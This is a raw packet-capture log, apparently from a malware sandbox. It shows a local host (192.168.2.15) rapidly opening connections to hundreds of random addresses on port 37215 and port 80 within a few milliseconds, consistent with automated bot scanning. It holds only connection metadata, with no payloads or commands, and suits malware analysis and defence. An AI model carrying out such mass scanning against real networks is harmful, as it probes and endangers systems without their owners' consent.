Feb 19, 2025 19:48:54.941381931 CET	37215	6405	157.89.243.93	192.168.2.15
Feb 19, 2025 19:48:54.941392899 CET	6405	37215	192.168.2.15	157.147.174.213
Feb 19, 2025 19:48:54.941405058 CET	6405	37215	192.168.2.15	157.45.244.195
Feb 19, 2025 19:48:54.941415071 CET	6405	37215	192.168.2.15	157.89.243.93
Feb 19, 2025 19:48:54.941452980 CET	7685	80	192.168.2.15	88.184.114.1
Feb 19, 2025 19:48:54.941488981 CET	7685	80	192.168.2.15	88.5.50.73
Feb 19, 2025 19:48:54.941503048 CET	7685	80	192.168.2.15	88.102.252.35
Feb 19, 2025 19:48:54.941517115 CET	7685	80	192.168.2.15	88.155.158.99
Feb 19, 2025 19:48:54.941540003 CET	7685	80	192.168.2.15	88.114.126.226
Feb 19, 2025 19:48:54.941545963 CET	7685	80	192.168.2.15	88.170.62.8
Feb 19, 2025 19:48:54.941565037 CET	7685	80	192.168.2.15	88.36.230.166
Feb 19, 2025 19:48:54.941592932 CET	7685	80	192.168.2.15	88.244.27.100
Feb 19, 2025 19:48:54.941611052 CET	7685	80	192.168.2.15	88.119.223.49
Feb 19, 2025 19:48:54.941637993 CET	7685	80	192.168.2.15	88.143.14.164
Feb 19, 2025 19:48:54.941647053 CET	7685	80	192.168.2.15	88.75.197.89
Feb 19, 2025 19:48:54.941664934 CET	7685	80	192.168.2.15	88.26.121.46
Feb 19, 2025 19:48:54.941682100 CET	7685	80	192.168.2.15	88.102.156.49
Feb 19, 2025 19:48:54.941704988 CET	7685	80	192.168.2.15	88.134.239.228
Feb 19, 2025 19:48:54.941715956 CET	7685	80	192.168.2.15	88.109.52.248
Feb 19, 2025 19:48:54.941730022 CET	7685	80	192.168.2.15	88.114.186.106
Feb 19, 2025 19:48:54.941747904 CET	7685	80	192.168.2.15	88.250.25.121
Feb 19, 2025 19:48:54.941771984 CET	7685	80	192.168.2.15	88.208.206.151
Feb 19, 2025 19:48:54.942348957 CET	37215	6405	157.97.83.17	192.168.2.15
Feb 19, 2025 19:48:54.942361116 CET	37215	6405	157.75.239.239	192.168.2.15
Feb 19, 2025 19:48:54.942384958 CET	6405	37215	192.168.2.15	157.97.83.17
Feb 19, 2025 19:48:54.942394972 CET	6405	37215	192.168.2.15	157.75.239.239
Feb 19, 2025 19:48:54.942416906 CET	37215	6405	157.124.121.54	192.168.2.15
Feb 19, 2025 19:48:54.942428112 CET	37215	6405	157.7.91.6	192.168.2.15
Feb 19, 2025 19:48:54.942437887 CET	37215	6405	157.12.102.34	192.168.2.15
Feb 19, 2025 19:48:54.942447901 CET	37215	6405	157.7.253.112	192.168.2.15
Feb 19, 2025 19:48:54.942447901 CET	6405	37215	192.168.2.15	157.124.121.54
Feb 19, 2025 19:48:54.942462921 CET	6405	37215	192.168.2.15	157.7.91.6
Feb 19, 2025 19:48:54.942468882 CET	6405	37215	192.168.2.15	157.12.102.34
Feb 19, 2025 19:48:54.942470074 CET	37215	6405	157.227.55.64	192.168.2.15
Feb 19, 2025 19:48:54.942476034 CET	6405	37215	192.168.2.15	157.7.253.112
Feb 19, 2025 19:48:54.942481041 CET	37215	6405	157.101.163.217	192.168.2.15
Feb 19, 2025 19:48:54.942492008 CET	37215	6405	157.65.82.221	192.168.2.15
Feb 19, 2025 19:48:54.942501068 CET	37215	6405	157.75.232.177	192.168.2.15
Feb 19, 2025 19:48:54.942508936 CET	6405	37215	192.168.2.15	157.227.55.64
Feb 19, 2025 19:48:54.942516088 CET	6405	37215	192.168.2.15	157.101.163.217
Feb 19, 2025 19:48:54.942521095 CET	37215	6405	157.170.4.234	192.168.2.15
Feb 19, 2025 19:48:54.942523956 CET	6405	37215	192.168.2.15	157.65.82.221
Feb 19, 2025 19:48:54.942532063 CET	6405	37215	192.168.2.15	157.75.232.177
Feb 19, 2025 19:48:54.942532063 CET	37215	6405	157.173.0.78	192.168.2.15
Feb 19, 2025 19:48:54.942545891 CET	37215	6405	157.252.141.128	192.168.2.15
Feb 19, 2025 19:48:54.942550898 CET	6405	37215	192.168.2.15	157.170.4.234
Feb 19, 2025 19:48:54.942557096 CET	37215	6405	157.22.69.66	192.168.2.15
Feb 19, 2025 19:48:54.942562103 CET	6405	37215	192.168.2.15	157.173.0.78
Feb 19, 2025 19:48:54.942576885 CET	6405	37215	192.168.2.15	157.252.141.128
Feb 19, 2025 19:48:54.942580938 CET	37215	6405	157.157.116.80	192.168.2.15
Feb 19, 2025 19:48:54.942585945 CET	6405	37215	192.168.2.15	157.22.69.66
Feb 19, 2025 19:48:54.942603111 CET	37215	6405	157.97.230.53	192.168.2.15
Feb 19, 2025 19:48:54.942611933 CET	6405	37215	192.168.2.15	157.157.116.80
Feb 19, 2025 19:48:54.942612886 CET	37215	6405	157.97.175.235	192.168.2.15
Feb 19, 2025 19:48:54.942626953 CET	37215	6405	157.187.34.78	192.168.2.15
Feb 19, 2025 19:48:54.942631006 CET	6405	37215	192.168.2.15	157.97.230.53
Feb 19, 2025 19:48:54.942645073 CET	37215	6405	157.222.109.202	192.168.2.15
Feb 19, 2025 19:48:54.942646027 CET	6405	37215	192.168.2.15	157.97.175.235
Feb 19, 2025 19:48:54.942656040 CET	37215	6405	157.170.132.158	192.168.2.15
Feb 19, 2025 19:48:54.942656040 CET	6405	37215	192.168.2.15	157.187.34.78
Feb 19, 2025 19:48:54.942667007 CET	37215	6405	157.255.175.63	192.168.2.15
Feb 19, 2025 19:48:54.942673922 CET	6405	37215	192.168.2.15	157.222.109.202
Feb 19, 2025 19:48:54.942683935 CET	6405	37215	192.168.2.15	157.170.132.158
Feb 19, 2025 19:48:54.942701101 CET	6405	37215	192.168.2.15	157.255.175.63
Feb 19, 2025 19:48:54.942807913 CET	37215	6405	157.153.238.208	192.168.2.15
Feb 19, 2025 19:48:54.942820072 CET	37215	6405	157.108.38.231	192.168.2.15
Feb 19, 2025 19:48:54.942830086 CET	37215	6405	157.255.21.232	192.168.2.15
Feb 19, 2025 19:48:54.942840099 CET	37215	6405	157.117.159.25	192.168.2.15
Feb 19, 2025 19:48:54.942841053 CET	6405	37215	192.168.2.15	157.153.238.208
Feb 19, 2025 19:48:54.942850113 CET	6405	37215	192.168.2.15	157.108.38.231
Feb 19, 2025 19:48:54.942851067 CET	37215	6405	157.167.92.184	192.168.2.15
Feb 19, 2025 19:48:54.942857981 CET	6405	37215	192.168.2.15	157.255.21.232
Feb 19, 2025 19:48:54.942862988 CET	37215	6405	157.250.149.227	192.168.2.15
Feb 19, 2025 19:48:54.942871094 CET	6405	37215	192.168.2.15	157.117.159.25
Feb 19, 2025 19:48:54.942873001 CET	37215	6405	157.39.0.231	192.168.2.15
Feb 19, 2025 19:48:54.942881107 CET	6405	37215	192.168.2.15	157.167.92.184
Feb 19, 2025 19:48:54.942883015 CET	37215	6405	157.98.143.135	192.168.2.15
Feb 19, 2025 19:48:54.942883968 CET	6405	37215	192.168.2.15	157.250.149.227
Feb 19, 2025 19:48:54.942893982 CET	37215	6405	157.6.66.52	192.168.2.15
Feb 19, 2025 19:48:54.942903996 CET	6405	37215	192.168.2.15	157.39.0.231
Feb 19, 2025 19:48:54.942912102 CET	37215	6405	157.213.190.50	192.168.2.15
Feb 19, 2025 19:48:54.942914009 CET	6405	37215	192.168.2.15	157.98.143.135
Feb 19, 2025 19:48:54.942917109 CET	6405	37215	192.168.2.15	157.6.66.52
Feb 19, 2025 19:48:54.942924976 CET	37215	6405	157.145.29.54	192.168.2.15
Feb 19, 2025 19:48:54.942935944 CET	37215	6405	157.46.139.112	192.168.2.15
Feb 19, 2025 19:48:54.942945004 CET	37215	6405	157.10.166.48	192.168.2.15
Feb 19, 2025 19:48:54.942945957 CET	6405	37215	192.168.2.15	157.213.190.50
Feb 19, 2025 19:48:54.942958117 CET	37215	6405	157.178.69.163	192.168.2.15
Feb 19, 2025 19:48:54.942959070 CET	6405	37215	192.168.2.15	157.145.29.54
Feb 19, 2025 19:48:54.942965031 CET	6405	37215	192.168.2.15	157.46.139.112
Feb 19, 2025 19:48:54.942969084 CET	37215	6405	157.130.32.160	192.168.2.15
Feb 19, 2025 19:48:54.942979097 CET	37215	6405	157.144.127.188	192.168.2.15
Feb 19, 2025 19:48:54.942981958 CET	6405	37215	192.168.2.15	157.10.166.48
Feb 19, 2025 19:48:54.942981958 CET	6405	37215	192.168.2.15	157.178.69.163
Feb 19, 2025 19:48:54.942989111 CET	37215	6405	157.225.104.229	192.168.2.15
Feb 19, 2025 19:48:54.942997932 CET	6405	37215	192.168.2.15	157.130.32.160
Feb 19, 2025 19:48:54.942998886 CET	37215	6405	157.199.61.228	192.168.2.15
Feb 19, 2025 19:48:54.943021059 CET	6405	37215	192.168.2.15	157.144.127.188
Feb 19, 2025 19:48:54.943021059 CET	6405	37215	192.168.2.15	157.225.104.229
Feb 19, 2025 19:48:54.943027020 CET	6405	37215	192.168.2.15	157.199.61.228
Feb 19, 2025 19:48:54.943631887 CET	37215	6405	157.32.74.46	192.168.2.15
Feb 19, 2025 19:48:54.943644047 CET	37215	6405	157.141.217.54	192.168.2.15
Feb 19, 2025 19:48:54.943655014 CET	37215	6405	157.196.110.129	192.168.2.15
Feb 19, 2025 19:48:54.943665028 CET	37215	6405	157.32.13.248	192.168.2.15
Feb 19, 2025 19:48:54.943667889 CET	6405	37215	192.168.2.15	157.32.74.46
Feb 19, 2025 19:48:54.943675041 CET	37215	6405	157.63.241.148	192.168.2.15
Feb 19, 2025 19:48:54.943679094 CET	6405	37215	192.168.2.15	157.141.217.54
Feb 19, 2025 19:48:54.943685055 CET	37215	6405	157.92.247.21	192.168.2.15
Feb 19, 2025 19:48:54.943694115 CET	6405	37215	192.168.2.15	157.196.110.129
Feb 19, 2025 19:48:54.943697929 CET	6405	37215	192.168.2.15	157.32.13.248
Feb 19, 2025 19:48:54.943701029 CET	6405	37215	192.168.2.15	157.63.241.148
Feb 19, 2025 19:48:54.943707943 CET	37215	6405	157.83.215.141	192.168.2.15
Feb 19, 2025 19:48:54.943711996 CET	6405	37215	192.168.2.15	157.92.247.21
Feb 19, 2025 19:48:54.943718910 CET	37215	6405	157.124.214.237	192.168.2.15
Feb 19, 2025 19:48:54.943730116 CET	37215	6405	157.112.95.101	192.168.2.15
Feb 19, 2025 19:48:54.943739891 CET	37215	6405	157.60.210.41	192.168.2.15
Feb 19, 2025 19:48:54.943741083 CET	6405	37215	192.168.2.15	157.83.215.141
Feb 19, 2025 19:48:54.943747997 CET	6405	37215	192.168.2.15	157.124.214.237
Feb 19, 2025 19:48:54.943749905 CET	37215	6405	157.0.253.209	192.168.2.15
Feb 19, 2025 19:48:54.943758965 CET	6405	37215	192.168.2.15	157.112.95.101
Feb 19, 2025 19:48:54.943759918 CET	37215	6405	157.6.115.82	192.168.2.15
Feb 19, 2025 19:48:54.943770885 CET	37215	6405	157.22.137.177	192.168.2.15
Feb 19, 2025 19:48:54.943773031 CET	6405	37215	192.168.2.15	157.60.210.41
Feb 19, 2025 19:48:54.943778038 CET	6405	37215	192.168.2.15	157.0.253.209
Feb 19, 2025 19:48:54.943782091 CET	37215	6405	157.35.49.229	192.168.2.15
Feb 19, 2025 19:48:54.943784952 CET	6405	37215	192.168.2.15	157.6.115.82
Feb 19, 2025 19:48:54.943799973 CET	6405	37215	192.168.2.15	157.22.137.177
Feb 19, 2025 19:48:54.943802118 CET	37215	6405	157.111.6.45	192.168.2.15
Feb 19, 2025 19:48:54.943810940 CET	6405	37215	192.168.2.15	157.35.49.229
Feb 19, 2025 19:48:54.943813086 CET	37215	6405	157.205.32.38	192.168.2.15
Feb 19, 2025 19:48:54.943824053 CET	37215	6405	157.235.10.181	192.168.2.15
Feb 19, 2025 19:48:54.943829060 CET	6405	37215	192.168.2.15	157.111.6.45
Feb 19, 2025 19:48:54.943836927 CET	37215	6405	157.238.186.254	192.168.2.15
Feb 19, 2025 19:48:54.943842888 CET	6405	37215	192.168.2.15	157.205.32.38
Feb 19, 2025 19:48:54.943847895 CET	37215	6405	157.188.164.249	192.168.2.15
Feb 19, 2025 19:48:54.943852901 CET	6405	37215	192.168.2.15	157.235.10.181
Feb 19, 2025 19:48:54.943860054 CET	37215	6405	157.62.24.168	192.168.2.15
Feb 19, 2025 19:48:54.943870068 CET	6405	37215	192.168.2.15	157.238.186.254
Feb 19, 2025 19:48:54.943871021 CET	37215	6405	157.92.110.238	192.168.2.15
Feb 19, 2025 19:48:54.943881989 CET	37215	6405	157.179.96.212	192.168.2.15
Feb 19, 2025 19:48:54.943885088 CET	6405	37215	192.168.2.15	157.188.164.249
Feb 19, 2025 19:48:54.943892002 CET	37215	6405	157.228.176.146	192.168.2.15
Feb 19, 2025 19:48:54.943893909 CET	6405	37215	192.168.2.15	157.62.24.168
Feb 19, 2025 19:48:54.943898916 CET	6405	37215	192.168.2.15	157.92.110.238
Feb 19, 2025 19:48:54.943902969 CET	37215	6405	157.51.255.55	192.168.2.15
Feb 19, 2025 19:48:54.943912029 CET	6405	37215	192.168.2.15	157.179.96.212
Feb 19, 2025 19:48:54.943913937 CET	37215	6405	157.11.59.27	192.168.2.15
Feb 19, 2025 19:48:54.943918943 CET	6405	37215	192.168.2.15	157.228.176.146
Feb 19, 2025 19:48:54.943923950 CET	37215	6405	157.132.178.136	192.168.2.15
Feb 19, 2025 19:48:54.943931103 CET	6405	37215	192.168.2.15	157.51.255.55
Feb 19, 2025 19:48:54.943933964 CET	37215	6405	157.107.96.135	192.168.2.15
Feb 19, 2025 19:48:54.943941116 CET	6405	37215	192.168.2.15	157.11.59.27
Feb 19, 2025 19:48:54.943943977 CET	37215	6405	157.201.234.32	192.168.2.15
Feb 19, 2025 19:48:54.943958998 CET	6405	37215	192.168.2.15	157.107.96.135
Feb 19, 2025 19:48:54.943959951 CET	6405	37215	192.168.2.15	157.132.178.136
Feb 19, 2025 19:48:54.943964005 CET	37215	6405	157.183.78.202	192.168.2.15
Feb 19, 2025 19:48:54.943975925 CET	37215	6405	157.209.164.148	192.168.2.15
Feb 19, 2025 19:48:54.943978071 CET	6405	37215	192.168.2.15	157.201.234.32
Feb 19, 2025 19:48:54.943985939 CET	37215	6405	157.121.107.218	192.168.2.15
Feb 19, 2025 19:48:54.943995953 CET	37215	6405	157.65.86.28	192.168.2.15
Feb 19, 2025 19:48:54.943998098 CET	6405	37215	192.168.2.15	157.183.78.202
Feb 19, 2025 19:48:54.944000959 CET	6405	37215	192.168.2.15	157.209.164.148
Feb 19, 2025 19:48:54.944008112 CET	37215	6405	157.6.106.18	192.168.2.15
Feb 19, 2025 19:48:54.944013119 CET	6405	37215	192.168.2.15	157.121.107.218
Feb 19, 2025 19:48:54.944020987 CET	37215	6405	157.59.87.196	192.168.2.15
Feb 19, 2025 19:48:54.944026947 CET	6405	37215	192.168.2.15	157.65.86.28
Feb 19, 2025 19:48:54.944031000 CET	37215	6405	157.168.127.79	192.168.2.15
Feb 19, 2025 19:48:54.944036961 CET	6405	37215	192.168.2.15	157.6.106.18
Feb 19, 2025 19:48:54.944041967 CET	37215	6405	157.223.98.64	192.168.2.15
Feb 19, 2025 19:48:54.944050074 CET	6405	37215	192.168.2.15	157.59.87.196
Feb 19, 2025 19:48:54.944053888 CET	37215	6405	157.1.87.224	192.168.2.15
Feb 19, 2025 19:48:54.944061041 CET	6405	37215	192.168.2.15	157.168.127.79
Feb 19, 2025 19:48:54.944072008 CET	6405	37215	192.168.2.15	157.223.98.64
Feb 19, 2025 19:48:54.944076061 CET	37215	6405	157.172.209.39	192.168.2.15
Feb 19, 2025 19:48:54.944081068 CET	6405	37215	192.168.2.15	157.1.87.224
Feb 19, 2025 19:48:54.944091082 CET	37215	6405	157.234.173.200	192.168.2.15
Feb 19, 2025 19:48:54.944102049 CET	37215	6405	157.217.202.228	192.168.2.15
Feb 19, 2025 19:48:54.944112062 CET	37215	6405	157.93.79.145	192.168.2.15
Feb 19, 2025 19:48:54.944113016 CET	6405	37215	192.168.2.15	157.172.209.39
Feb 19, 2025 19:48:54.944119930 CET	6405	37215	192.168.2.15	157.234.173.200
Feb 19, 2025 19:48:54.944122076 CET	37215	6405	157.78.133.244	192.168.2.15
Feb 19, 2025 19:48:54.944133997 CET	6405	37215	192.168.2.15	157.217.202.228
Feb 19, 2025 19:48:54.944134951 CET	37215	6405	157.192.33.156	192.168.2.15
Feb 19, 2025 19:48:54.944147110 CET	37215	6405	157.177.168.193	192.168.2.15
Feb 19, 2025 19:48:54.944148064 CET	6405	37215	192.168.2.15	157.93.79.145
Feb 19, 2025 19:48:54.944153070 CET	6405	37215	192.168.2.15	157.78.133.244
Feb 19, 2025 19:48:54.944159985 CET	37215	6405	157.123.45.107	192.168.2.15
Feb 19, 2025 19:48:54.944164038 CET	6405	37215	192.168.2.15	157.192.33.156
Feb 19, 2025 19:48:54.944175959 CET	6405	37215	192.168.2.15	157.177.168.193
Feb 19, 2025 19:48:54.944199085 CET	6405	37215	192.168.2.15	157.123.45.107
Feb 19, 2025 19:48:54.944597006 CET	37215	6405	157.187.46.226	192.168.2.15
Feb 19, 2025 19:48:54.944617033 CET	37215	6405	157.89.8.90	192.168.2.15
Feb 19, 2025 19:48:54.944629908 CET	6405	37215	192.168.2.15	157.187.46.226
Feb 19, 2025 19:48:54.944643974 CET	6405	37215	192.168.2.15	157.89.8.90
Feb 19, 2025 19:48:54.944695950 CET	37215	6405	157.189.64.227	192.168.2.15
Feb 19, 2025 19:48:54.944708109 CET	37215	6405	157.103.213.37	192.168.2.15
Feb 19, 2025 19:48:54.944717884 CET	37215	6405	157.243.240.229	192.168.2.15
Feb 19, 2025 19:48:54.944741011 CET	6405	37215	192.168.2.15	157.103.213.37
Feb 19, 2025 19:48:54.944746017 CET	6405	37215	192.168.2.15	157.243.240.229
Feb 19, 2025 19:48:54.944787025 CET	37215	6405	157.181.198.107	192.168.2.15
Feb 19, 2025 19:48:54.944797993 CET	37215	6405	157.18.208.108	192.168.2.15
Feb 19, 2025 19:48:54.944808006 CET	37215	6405	157.198.215.232	192.168.2.15
Feb 19, 2025 19:48:54.944818020 CET	37215	6405	157.215.250.213	192.168.2.15
Feb 19, 2025 19:48:54.944827080 CET	37215	6405	157.189.183.186	192.168.2.15
Feb 19, 2025 19:48:54.944835901 CET	37215	6405	157.55.125.139	192.168.2.15
Feb 19, 2025 19:48:54.944844961 CET	37215	6405	157.208.78.80	192.168.2.15
Feb 19, 2025 19:48:54.944854975 CET	37215	6405	157.69.44.30	192.168.2.15
Feb 19, 2025 19:48:54.944874048 CET	37215	6405	157.97.246.236	192.168.2.15
Feb 19, 2025 19:48:54.944875002 CET	6405	37215	192.168.2.15	157.208.78.80
Feb 19, 2025 19:48:54.944885015 CET	37215	6405	157.235.33.184	192.168.2.15
Feb 19, 2025 19:48:54.944894075 CET	37215	6405	157.189.83.196	192.168.2.15
Feb 19, 2025 19:48:54.944904089 CET	37215	6405	157.41.219.112	192.168.2.15
Feb 19, 2025 19:48:54.944904089 CET	6405	37215	192.168.2.15	157.97.246.236
Feb 19, 2025 19:48:54.944914103 CET	37215	6405	157.134.9.56	192.168.2.15
Feb 19, 2025 19:48:54.944925070 CET	37215	6405	157.79.103.231	192.168.2.15
Feb 19, 2025 19:48:54.944936037 CET	37215	6405	157.28.71.143	192.168.2.15
Feb 19, 2025 19:48:54.944946051 CET	37215	6405	157.203.220.61	192.168.2.15
Feb 19, 2025 19:48:54.944947004 CET	6405	37215	192.168.2.15	157.134.9.56
Feb 19, 2025 19:48:54.944951057 CET	6405	37215	192.168.2.15	157.79.103.231
Feb 19, 2025 19:48:54.944957972 CET	37215	6405	157.74.67.67	192.168.2.15
Feb 19, 2025 19:48:54.944967031 CET	6405	37215	192.168.2.15	157.28.71.143
Feb 19, 2025 19:48:54.944968939 CET	80	7685	88.140.138.215	192.168.2.15
Feb 19, 2025 19:48:54.944977999 CET	6405	37215	192.168.2.15	157.203.220.61
Feb 19, 2025 19:48:54.944978952 CET	37215	6405	157.216.236.144	192.168.2.15
Feb 19, 2025 19:48:54.944992065 CET	37215	6405	157.246.226.168	192.168.2.15
Feb 19, 2025 19:48:54.945002079 CET	37215	6405	157.54.105.151	192.168.2.15
Feb 19, 2025 19:48:54.945012093 CET	80	7685	88.249.193.225	192.168.2.15
Feb 19, 2025 19:48:54.945015907 CET	6405	37215	192.168.2.15	157.189.64.227
Feb 19, 2025 19:48:54.945020914 CET	80	7685	88.53.232.157	192.168.2.15
Feb 19, 2025 19:48:54.945024967 CET	6405	37215	192.168.2.15	157.246.226.168
Feb 19, 2025 19:48:54.945029020 CET	6405	37215	192.168.2.15	157.18.208.108
Feb 19, 2025 19:48:54.945029020 CET	6405	37215	192.168.2.15	157.181.198.107
Feb 19, 2025 19:48:54.945030928 CET	6405	37215	192.168.2.15	157.54.105.151
Feb 19, 2025 19:48:54.945039034 CET	6405	37215	192.168.2.15	157.198.215.232
Feb 19, 2025 19:48:54.945046902 CET	7685	80	192.168.2.15	88.53.232.157
Feb 19, 2025 19:48:54.945050955 CET	6405	37215	192.168.2.15	157.189.183.186
Feb 19, 2025 19:48:54.945055008 CET	6405	37215	192.168.2.15	157.215.250.213
Feb 19, 2025 19:48:54.945055008 CET	6405	37215	192.168.2.15	157.55.125.139
Feb 19, 2025 19:48:54.945064068 CET	6405	37215	192.168.2.15	157.69.44.30
Feb 19, 2025 19:48:54.945066929 CET	6405	37215	192.168.2.15	157.235.33.184
Feb 19, 2025 19:48:54.945081949 CET	6405	37215	192.168.2.15	157.189.83.196
Feb 19, 2025 19:48:54.945084095 CET	6405	37215	192.168.2.15	157.41.219.112
Feb 19, 2025 19:48:54.945085049 CET	6405	37215	192.168.2.15	157.74.67.67
Feb 19, 2025 19:48:54.945092916 CET	7685	80	192.168.2.15	88.140.138.215
Feb 19, 2025 19:48:54.945100069 CET	6405	37215	192.168.2.15	157.216.236.144
Feb 19, 2025 19:48:54.945103884 CET	7685	80	192.168.2.15	88.249.193.225
Feb 19, 2025 19:48:54.945492983 CET	37215	6405	157.203.147.185	192.168.2.15
Feb 19, 2025 19:48:54.945506096 CET	80	7685	88.32.226.221	192.168.2.15
Feb 19, 2025 19:48:54.945517063 CET	37215	6405	157.113.175.168	192.168.2.15
Feb 19, 2025 19:48:54.945528030 CET	37215	6405	157.207.49.122	192.168.2.15
Feb 19, 2025 19:48:54.945535898 CET	7685	80	192.168.2.15	88.32.226.221
Feb 19, 2025 19:48:54.945538998 CET	80	7685	88.95.211.113	192.168.2.15
Feb 19, 2025 19:48:54.945549011 CET	80	7685	88.6.209.151	192.168.2.15
Feb 19, 2025 19:48:54.945550919 CET	6405	37215	192.168.2.15	157.113.175.168
Feb 19, 2025 19:48:54.945561886 CET	6405	37215	192.168.2.15	157.207.49.122
Feb 19, 2025 19:48:54.945569038 CET	7685	80	192.168.2.15	88.95.211.113
Feb 19, 2025 19:48:54.945570946 CET	37215	6405	157.2.40.204	192.168.2.15
Feb 19, 2025 19:48:54.945581913 CET	80	7685	88.82.168.5	192.168.2.15
Feb 19, 2025 19:48:54.945593119 CET	37215	6405	157.54.64.170	192.168.2.15
Feb 19, 2025 19:48:54.945600986 CET	6405	37215	192.168.2.15	157.2.40.204
Feb 19, 2025 19:48:54.945602894 CET	80	7685	88.57.1.237	192.168.2.15
Feb 19, 2025 19:48:54.945607901 CET	6405	37215	192.168.2.15	157.203.147.185
Feb 19, 2025 19:48:54.945607901 CET	7685	80	192.168.2.15	88.6.209.151
Feb 19, 2025 19:48:54.945614100 CET	37215	6405	157.243.171.191	192.168.2.15
Feb 19, 2025 19:48:54.945620060 CET	6405	37215	192.168.2.15	157.54.64.170
Feb 19, 2025 19:48:54.945621014 CET	7685	80	192.168.2.15	88.82.168.5
Feb 19, 2025 19:48:54.945626974 CET	7685	80	192.168.2.15	88.57.1.237
Feb 19, 2025 19:48:54.945633888 CET	37215	6405	157.111.118.236	192.168.2.15
Feb 19, 2025 19:48:54.945642948 CET	80	7685	88.102.245.23	192.168.2.15
Feb 19, 2025 19:48:54.945674896 CET	6405	37215	192.168.2.15	157.243.171.191
Feb 19, 2025 19:48:54.945674896 CET	7685	80	192.168.2.15	88.7.214.145
Feb 19, 2025 19:48:54.945676088 CET	6405	37215	192.168.2.15	157.111.118.236
Feb 19, 2025 19:48:54.945677996 CET	37215	6405	157.58.12.238	192.168.2.15
Feb 19, 2025 19:48:54.945689917 CET	80	7685	88.63.95.80	192.168.2.15
Feb 19, 2025 19:48:54.945699930 CET	80	7685	88.112.1.196	192.168.2.15
Feb 19, 2025 19:48:54.945709944 CET	37215	6405	157.235.96.122	192.168.2.15
Feb 19, 2025 19:48:54.945719957 CET	80	7685	88.212.157.47	192.168.2.15
Feb 19, 2025 19:48:54.945730925 CET	37215	6405	157.206.193.33	192.168.2.15
Feb 19, 2025 19:48:54.945741892 CET	80	7685	88.168.75.230	192.168.2.15
Feb 19, 2025 19:48:54.945741892 CET	7685	80	192.168.2.15	88.168.88.242
Feb 19, 2025 19:48:54.945743084 CET	7685	80	192.168.2.15	88.102.245.23
Feb 19, 2025 19:48:54.945751905 CET	7685	80	192.168.2.15	88.212.157.47
Feb 19, 2025 19:48:54.945753098 CET	37215	6405	157.88.204.82	192.168.2.15
Feb 19, 2025 19:48:54.945753098 CET	7685	80	192.168.2.15	88.112.1.196
Feb 19, 2025 19:48:54.945755005 CET	6405	37215	192.168.2.15	157.58.12.238
Feb 19, 2025 19:48:54.945760012 CET	7685	80	192.168.2.15	88.229.252.82
Feb 19, 2025 19:48:54.945765972 CET	80	7685	88.166.4.21	192.168.2.15
Feb 19, 2025 19:48:54.945779085 CET	7685	80	192.168.2.15	88.51.92.143
Feb 19, 2025 19:48:54.945779085 CET	7685	80	192.168.2.15	88.131.139.17
Feb 19, 2025 19:48:54.945785046 CET	37215	6405	157.163.156.8	192.168.2.15
Feb 19, 2025 19:48:54.945794106 CET	80	7685	88.34.29.247	192.168.2.15
Feb 19, 2025 19:48:54.945805073 CET	7685	80	192.168.2.15	88.63.95.80
Feb 19, 2025 19:48:54.945805073 CET	6405	37215	192.168.2.15	157.235.96.122
Feb 19, 2025 19:48:54.945805073 CET	7685	80	192.168.2.15	88.26.186.63
Feb 19, 2025 19:48:54.945806980 CET	80	7685	88.192.221.252	192.168.2.15
Feb 19, 2025 19:48:54.945816040 CET	7685	80	192.168.2.15	88.51.66.243
Feb 19, 2025 19:48:54.945817947 CET	37215	6405	157.113.58.118	192.168.2.15
Feb 19, 2025 19:48:54.945822954 CET	7685	80	192.168.2.15	88.245.237.90
Feb 19, 2025 19:48:54.945826054 CET	7685	80	192.168.2.15	88.54.252.80
Feb 19, 2025 19:48:54.945826054 CET	7685	80	192.168.2.15	88.168.75.230
Feb 19, 2025 19:48:54.945827007 CET	6405	37215	192.168.2.15	157.88.204.82
Feb 19, 2025 19:48:54.945826054 CET	7685	80	192.168.2.15	88.166.4.21
Feb 19, 2025 19:48:54.945827961 CET	6405	37215	192.168.2.15	157.163.156.8
Feb 19, 2025 19:48:54.945828915 CET	6405	37215	192.168.2.15	157.206.193.33
Feb 19, 2025 19:48:54.945830107 CET	7685	80	192.168.2.15	88.105.218.104
Feb 19, 2025 19:48:54.945830107 CET	80	7685	88.117.130.208	192.168.2.15
Feb 19, 2025 19:48:54.945831060 CET	7685	80	192.168.2.15	88.34.29.247
Feb 19, 2025 19:48:54.945833921 CET	7685	80	192.168.2.15	88.192.221.252
Feb 19, 2025 19:48:54.945842981 CET	37215	6405	157.14.161.159	192.168.2.15
Feb 19, 2025 19:48:54.945873022 CET	7685	80	192.168.2.15	88.32.161.146
Feb 19, 2025 19:48:54.945873022 CET	7685	80	192.168.2.15	88.113.98.182
Feb 19, 2025 19:48:54.945873976 CET	6405	37215	192.168.2.15	157.14.161.159
Feb 19, 2025 19:48:54.945878983 CET	7685	80	192.168.2.15	88.117.130.208
Feb 19, 2025 19:48:54.945878983 CET	6405	37215	192.168.2.15	157.113.58.118
Feb 19, 2025 19:48:54.945894957 CET	7685	80	192.168.2.15	88.135.73.86
Feb 19, 2025 19:48:54.945895910 CET	7685	80	192.168.2.15	88.88.50.43
Feb 19, 2025 19:48:54.945910931 CET	7685	80	192.168.2.15	88.169.217.20
Feb 19, 2025 19:48:54.946158886 CET	7685	80	192.168.2.15	88.83.15.4
Feb 19, 2025 19:48:54.946158886 CET	7685	80	192.168.2.15	88.24.68.106
Feb 19, 2025 19:48:54.946172953 CET	7685	80	192.168.2.15	88.214.97.194
Feb 19, 2025 19:48:54.946172953 CET	7685	80	192.168.2.15	88.176.129.184
Feb 19, 2025 19:48:54.946190119 CET	7685	80	192.168.2.15	88.89.31.146
Feb 19, 2025 19:48:54.946208000 CET	7685	80	192.168.2.15	88.41.236.162
Feb 19, 2025 19:48:54.946255922 CET	7685	80	192.168.2.15	88.180.123.146
Feb 19, 2025 19:48:54.946264982 CET	7685	80	192.168.2.15	88.106.102.34
Feb 19, 2025 19:48:54.946269989 CET	7685	80	192.168.2.15	88.235.5.130
Feb 19, 2025 19:48:54.946302891 CET	7685	80	192.168.2.15	88.100.91.26
Feb 19, 2025 19:48:54.946315050 CET	7685	80	192.168.2.15	88.174.78.201
Feb 19, 2025 19:48:54.946315050 CET	7685	80	192.168.2.15	88.69.15.251
Feb 19, 2025 19:48:54.946317911 CET	7685	80	192.168.2.15	88.194.87.255
Feb 19, 2025 19:48:54.946317911 CET	7685	80	192.168.2.15	88.164.30.80
Feb 19, 2025 19:48:54.946319103 CET	7685	80	192.168.2.15	88.246.55.118
Feb 19, 2025 19:48:54.946341991 CET	7685	80	192.168.2.15	88.217.178.228
Feb 19, 2025 19:48:54.946423054 CET	7685	80	192.168.2.15	88.204.214.71
Feb 19, 2025 19:48:54.946434021 CET	7685	80	192.168.2.15	88.44.137.67
